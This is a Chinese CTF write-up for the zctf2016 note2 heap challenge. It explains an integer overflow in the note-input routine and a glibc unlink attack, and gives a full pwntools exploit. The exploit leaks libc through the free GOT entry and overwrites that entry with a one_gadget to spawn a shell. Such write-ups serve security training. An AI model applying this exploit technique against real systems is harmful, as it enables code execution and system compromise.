zctf2016_note2-unlink(unlink精讲)

D0wnBe@t Lv4

无法堆溢出修改chunk的unlink+整数溢出

题目链接

有符号整型与无符号整型比较 -> 存在溢出

unlink完整表示

  • 以往的unlink都是可以堆溢出修改相邻chunk的prev_size以及其size_inuse,然后构造出一个fake_free_chunk,然后free相邻的chunk,这两个chunk就会合并,从而达到unlink的效果,如下图:

  • 接着上图讲:chunk1是构造成了一个fake_chunk,接着free(chunk2),那么这两个chunk将会合并,从而绕过检测,达到unlink的效果。
1
2
3
// 对于unsorted bin 双向链表的检测
chunk FD表示chunk的下一个chunk BK表示chunk的上一个chunk
chunk.fd -> FD FD.bk -> chunk chunk.bk -> BK BK.fd -> chunk

  • 如上图,相当于把heap[0]迁移到了 -0x18的位置,这就是完整的unlink利用方法。

ida程序执行流分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
// 下面这两步随便输入,对于Unlink没有影响
puts("Input your name:");
input1(&unk_6020E0, 64LL, 10);
puts("Input your address:");
input1(&unk_602180, 96LL, 10);
while ( 1 )
{
switch ( menu() )
{
case 1u:
add();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
delete();
break;
case 5u:
puts("Bye~");
exit(0);
case 6u:
exit(0);
default:
continue;
}
}
}

add

  • 对于size有要求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int add()
{
unsigned int v1; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
void *chunk_data_addr; // [rsp+8h] [rbp-8h]

if ( heapidx > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = input();
if ( size > 0x80 ) // size <= 0x80
return puts("Too long");
chunk_data_addr = malloc(size);
puts("Input the note content:");
input1(chunk_data_addr, size, 10);
sub_400B10(chunk_data_addr);
*(&heaplist + heapidx) = chunk_data_addr;
chunk_size[heapidx] = size;
v1 = heapidx++;
return printf("note add success, the id is %d\n", v1);
}

show

  • %s输出,可以泄露libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int show()
{
__int64 v0; // rax
int idx; // [rsp+Ch] [rbp-4h]

puts("Input the id of the note:");
LODWORD(v0) = input();
idx = v0;
if ( v0 <= 3 )
{
v0 = *(&heaplist + v0);
if ( v0 )
LODWORD(v0) = printf("Content is %s\n", *(&heaplist + idx));
}
return v0;
}

edit

  • 最复杂的地方,也是最重要的地方,其实只需要关注输入1的overwrite
  • 这里是先malloc了一个(0xa0)的chunk,然后向该chunk填入数据,进行overwrite,最后free掉这个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int64 edit()
{
_BYTE *v0; // rbx
int v2; // [rsp+8h] [rbp-E8h]
int v3; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v5; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
void *v7; // [rsp+A0h] [rbp-50h]
unsigned __int64 v8; // [rsp+D8h] [rbp-18h]

v8 = __readfsqword(0x28u);
if ( heapidx )
{
puts("Input the id of the note:");
v2 = input();
if ( v2 <= 3 )
{
src = *(&heaplist + v2);
v5 = chunk_size[v2];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v3 = input();
if ( v3 == 1 || v3 == 2 )
{
if ( v3 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
v7 = malloc(0xA0uLL);
strcpy(v7, "TheNewContents:");
printf(v7);
input1(v7 + 15, '\x90', 10);
sub_400B10(v7 + 15);
v0 = v7;
v0[v5 - strlen(dest) + 14] = 0;
strncat(dest, v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, dest);
free(v7);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v8;
}

free

  • 对free的指针进行了清零的操作,uaf和double free无法使用了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int delete()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Input the id of the note:");
LODWORD(v0) = input();
v2 = v0;
if ( v0 <= 3 )
{
v0 = *(&heaplist + v0);
if ( v0 )
{
free(*(&heaplist + v2));
*(&heaplist + v2) = 0LL;
chunk_size[v2] = 0LL;
LODWORD(v0) = puts("delete note success!");
}
}
return v0;
}

核心漏洞点-整数溢出

  • 在add函数的input1函数中,存在难发现的整数溢出漏洞

  • 定义的i是一个无符号整型,但是a2(size)确是一个有符号整形,因此有整数溢出
  • 对于无符号与有符号的比较,会将有符号转化为无符号,所以若我们给a2赋值为0,a2 -1=-1,对应于无符号整型是最大的数字,那么我们就可以任意写了。

思路分析

  • 题目没有开启PIE,自然想到了unlink,由于edit中会malloc(0xa0)的chunk,我们构造出一个0xa0的free_chunk,在edit的时候就相当于是覆写了,借助这个0xa0的chunk还可以进行unlink:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
heaplist = 0x00602120
fd = heaplist - 0x18
bk = heaplist - 0x10

# 由于不能edit直接改,所以
payload = p64(0) + p64(0xa1) + p64(fd) + p64(bk)
add(0x80,payload) # 0
add(0x10,b'bbbb') # 1
add(0x80,b'cccc') # 2

free(1)
payload = p64(0)*2 + p64(0xa0) + p64(0x90)
add(0x00,payload)
bug()
  • 0xa0 = 0x80 + 0x20(0x80是因为我们构造unlink的fake_chunk是从user_data开始构造,此处相当于overlapping chunk0,chunk1)
  • 正常应该是溢出修改chunk2的prev_size为0xa0,以及size的inuse=0,但是我们没有off_by_one,也无法直接溢出改,于是,我们利用add里面的整数溢出进行改写
  • free(chunk1),只要将size赋值为0,就可以溢出改写了,效果如下:

泄露libc

  • 接下来直接free相邻chunk,即chunk2,就可以达到unlink的效果

  • 此时就是正常的unlink的利用,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
free(2)
free_got = elf.got['free']
payload = b'a'*0x18 + p64(free_got)
edit(0,payload)

show(0)
p.recvuntil("is ")
free_addr = u64(p.recv(6)+b'\x00\x00')
success("free_address : "+hex(free_addr))
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
base = free_addr - libc.sym['free']
system = base + libc.sym['system']
onegadget = base + 0xf02a4 # 0xf02a4 0xf1147 0x4526a

getshell

  • 在分析edit函数的时候就说了,会在最后执行一次free,所以直接edit chunk0为Onegadget相当于修改free_got 为onegadget,并且在最后会执行free,即onegadget,getshell
1
2
3
4
# 改free_got 为 onegadget
edit(0,p64(onegadget)) # edit改完会执行free

p.interactive()

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",27639)
elf = ELF("./pwn")

def bug():
gdb.attach(p)
pause()

def choice(idx):
p.sendlineafter("option--->>",str(idx))

def add(size,content):
choice(1)
p.sendlineafter("Input the length of the note content:(less than 128)",str(size))
p.sendlineafter("Input the note content:",content)

def show(idx):
choice(2)
p.sendlineafter("Input the id of the note:",str(idx))

def edit(idx,content):
choice(3)
p.sendlineafter("Input the id of the note:",str(idx))
p.sendlineafter("2.append]",str(1))
p.sendlineafter("TheNewContents:",content)

def free(idx):
choice(4)
p.sendlineafter("Input the id of the note:",str(idx))

# 可以打unlink
p.recvuntil(":")
p.sendline("/bin/sh") #name
p.recvuntil(":")
p.sendline("ddd")

heaplist = 0x00602120
fd = heaplist - 0x18
bk = heaplist - 0x10

# 由于不能edit直接改,所以
payload = p64(0) + p64(0xa1) + p64(fd) + p64(bk)
add(0x80,payload) # 0
add(0x10,b'bbbb') # 1
add(0x80,b'cccc') # 2


free(1)
payload = p64(0)*2 + p64(0xa0) + p64(0x90)
add(0x00,payload)
bug()

free(2)
free_got = elf.got['free']
payload = b'a'*0x18 + p64(free_got)
edit(0,payload)

show(0)
p.recvuntil("is ")
free_addr = u64(p.recv(6)+b'\x00\x00')
success("free_address : "+hex(free_addr))
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
base = free_addr - libc.sym['free']
system = base + libc.sym['system']
onegadget = base + 0xf02a4 # 0xf02a4 0xf1147 0x4526a

# 改free_got 为 onegadget
edit(0,p64(onegadget)) # edit改完会执行free

p.interactive()
  • 标题: zctf2016_note2-unlink(unlink精讲)
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-25 18:55:36
  • 更新于 : 2024-11-07 22:43:44
  • 链接: http://downbeat.top/2024/09/25/zctf2016-note2-unlink/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论